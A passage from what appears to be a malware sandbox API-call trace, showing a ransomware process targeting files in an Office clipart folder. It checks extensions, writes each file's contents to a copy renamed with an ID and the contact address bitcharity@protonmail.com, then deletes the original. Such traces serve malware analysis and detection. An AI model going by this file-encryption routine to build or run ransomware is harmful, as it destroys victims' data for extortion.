(lpString1=".ppt", lpString2=".WMF") returned -1 [0296.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.536] lstrlenW (lpString=".zip") returned 4 [0296.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.536] lstrlenW (lpString=".rar") returned 4 [0296.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.536] lstrlenW (lpString=".bz2") returned 4 [0296.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.536] lstrlenW (lpString=".7z") returned 3 [0296.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.536] lstrlenW (lpString=".dbf") returned 4 [0296.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.537] lstrlenW (lpString=".1cd") returned 4 [0296.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.537] lstrlenW (lpString=".jpg") returned 4 [0296.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.537] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.537] lstrlenW (lpString="DD01585_.WMF") returned 12 [0296.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0296.537] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2524) returned 1 [0296.537] CloseHandle (hObject=0x10cc) returned 1 [0296.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0296.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0296.538] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.538] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0296.538] GetLastError () returned 0x0 [0296.538] ReadFile (in: hFile=0x10cc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x9dc, lpOverlapped=0x0) returned 1 [0297.479] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x9e0, lpOverlapped=0x0) returned 1 [0297.480] ReadFile (in: hFile=0x10cc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.480] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.480] SetEndOfFile (hFile=0x10ac) returned 1 [0297.481] CloseHandle (hObject=0x10ac) returned 1 [0297.481] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.481] SetEndOfFile (hFile=0x10cc) returned 1 [0297.482] CloseHandle (hObject=0x10cc) returned 1 [0297.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0297.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.482] lstrlenW (lpString=".doc") returned 4 [0297.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.482] lstrlenW (lpString=".docx") returned 5 [0297.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.482] lstrlenW (lpString=".pdf") returned 4 [0297.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.482] lstrlenW (lpString=".xls") returned 4 [0297.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.483] lstrlenW (lpString=".xlsx") returned 5 [0297.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.483] lstrlenW (lpString=".ppt") returned 4 [0297.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.483] lstrlenW (lpString=".zip") returned 4 [0297.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.483] lstrlenW (lpString=".rar") returned 4 [0297.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.483] lstrlenW (lpString=".bz2") returned 4 [0297.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.483] lstrlenW (lpString=".7z") returned 3 [0297.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.483] lstrlenW (lpString=".dbf") returned 4 [0297.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.483] lstrlenW (lpString=".1cd") returned 4 [0297.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.483] lstrlenW (lpString=".jpg") returned 4 [0297.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.483] lstrlenW (lpString=".doc") returned 4 [0297.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.483] lstrlenW (lpString=".docx") returned 5 [0297.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.484] lstrlenW (lpString=".pdf") returned 4 [0297.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.484] lstrlenW (lpString=".xls") returned 4 [0297.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.484] lstrlenW (lpString=".xlsx") returned 5 [0297.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.484] lstrlenW (lpString=".ppt") returned 4 [0297.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.484] lstrlenW (lpString=".zip") returned 4 [0297.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.484] lstrlenW (lpString=".rar") returned 4 [0297.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.484] lstrlenW (lpString=".bz2") returned 4 [0297.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.484] lstrlenW (lpString=".7z") returned 3 [0297.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.484] lstrlenW (lpString=".dbf") returned 4 [0297.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.484] lstrlenW (lpString=".1cd") returned 4 [0297.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0297.484] lstrlenW (lpString=".jpg") returned 4 [0297.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.485] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.485] lstrlenW (lpString="FD00074_.WMF") returned 12 [0297.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0297.486] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=17850) returned 1 [0297.486] CloseHandle (hObject=0x10cc) returned 1 [0297.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0297.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0297.486] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.486] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0297.487] GetLastError () returned 0x0 [0297.487] ReadFile (in: hFile=0x10cc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x45ba, lpOverlapped=0x0) returned 1 [0297.609] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x45c0, lpOverlapped=0x0) returned 1 [0297.611] ReadFile (in: hFile=0x10cc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.611] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.611] SetEndOfFile (hFile=0x10ac) returned 1 [0297.611] CloseHandle (hObject=0x10ac) returned 1 [0297.611] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.612] SetEndOfFile (hFile=0x10cc) returned 1 [0297.613] CloseHandle (hObject=0x10cc) returned 1 [0297.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0297.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.613] lstrlenW (lpString=".doc") returned 4 [0297.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.613] lstrlenW (lpString=".docx") returned 5 [0297.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.613] lstrlenW (lpString=".pdf") returned 4 [0297.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.613] lstrlenW (lpString=".xls") returned 4 [0297.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.613] lstrlenW (lpString=".xlsx") returned 5 [0297.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.613] lstrlenW (lpString=".ppt") returned 4 [0297.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.613] lstrlenW (lpString=".zip") returned 4 [0297.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.613] lstrlenW (lpString=".rar") returned 4 [0297.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.614] lstrlenW (lpString=".bz2") returned 4 [0297.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.614] lstrlenW (lpString=".7z") returned 3 [0297.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.614] lstrlenW (lpString=".dbf") returned 4 [0297.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.614] lstrlenW (lpString=".1cd") returned 4 [0297.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.614] lstrlenW (lpString=".jpg") returned 4 [0297.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.614] lstrlenW (lpString=".doc") returned 4 [0297.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.614] lstrlenW (lpString=".docx") returned 5 [0297.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.614] lstrlenW (lpString=".pdf") returned 4 [0297.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.614] lstrlenW (lpString=".xls") returned 4 [0297.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.614] lstrlenW (lpString=".xlsx") returned 5 [0297.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.614] lstrlenW (lpString=".ppt") returned 4 [0297.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.614] lstrlenW (lpString=".zip") returned 4 [0297.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.614] lstrlenW (lpString=".rar") returned 4 [0297.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.614] lstrlenW (lpString=".bz2") returned 4 [0297.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.614] lstrlenW (lpString=".7z") returned 3 [0297.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.615] lstrlenW (lpString=".dbf") returned 4 [0297.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.615] lstrlenW (lpString=".1cd") returned 4 [0297.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0297.615] lstrlenW (lpString=".jpg") returned 4 [0297.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.615] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.615] lstrlenW (lpString="FD00090_.WMF") returned 12 [0297.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0297.615] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=14194) returned 1 [0297.615] CloseHandle (hObject=0x10cc) returned 1 [0297.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0297.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0297.616] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.616] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0297.616] GetLastError () returned 0x0 [0297.616] ReadFile (in: hFile=0x10cc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x3772, lpOverlapped=0x0) returned 1 [0297.738] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x3780, lpOverlapped=0x0) returned 1 [0297.739] ReadFile (in: hFile=0x10cc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.739] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.739] SetEndOfFile (hFile=0x10ac) returned 1 [0297.739] CloseHandle (hObject=0x10ac) returned 1 [0297.739] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.739] SetEndOfFile (hFile=0x10cc) returned 1 [0297.740] CloseHandle (hObject=0x10cc) returned 1 [0297.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0297.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.740] lstrlenW (lpString=".doc") returned 4 [0297.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.740] lstrlenW (lpString=".docx") returned 5 [0297.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.740] lstrlenW (lpString=".pdf") returned 4 [0297.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.740] lstrlenW (lpString=".xls") returned 4 [0297.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.740] lstrlenW (lpString=".xlsx") returned 5 [0297.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.740] lstrlenW (lpString=".ppt") returned 4 [0297.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.740] lstrlenW (lpString=".zip") returned 4 [0297.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.741] lstrlenW (lpString=".rar") returned 4 [0297.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.741] lstrlenW (lpString=".bz2") returned 4 [0297.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.741] lstrlenW (lpString=".7z") returned 3 [0297.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.741] lstrlenW (lpString=".dbf") returned 4 [0297.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.741] lstrlenW (lpString=".1cd") returned 4 [0297.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.741] lstrlenW (lpString=".jpg") returned 4 [0297.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.741] lstrlenW (lpString=".doc") returned 4 [0297.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.741] lstrlenW (lpString=".docx") returned 5 [0297.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.741] lstrlenW (lpString=".pdf") returned 4 [0297.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.741] lstrlenW (lpString=".xls") returned 4 [0297.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.741] lstrlenW (lpString=".xlsx") returned 5 [0297.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.741] lstrlenW (lpString=".ppt") returned 4 [0297.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.741] lstrlenW (lpString=".zip") returned 4 [0297.741] lstrcmpiW (lpString1=".zip", 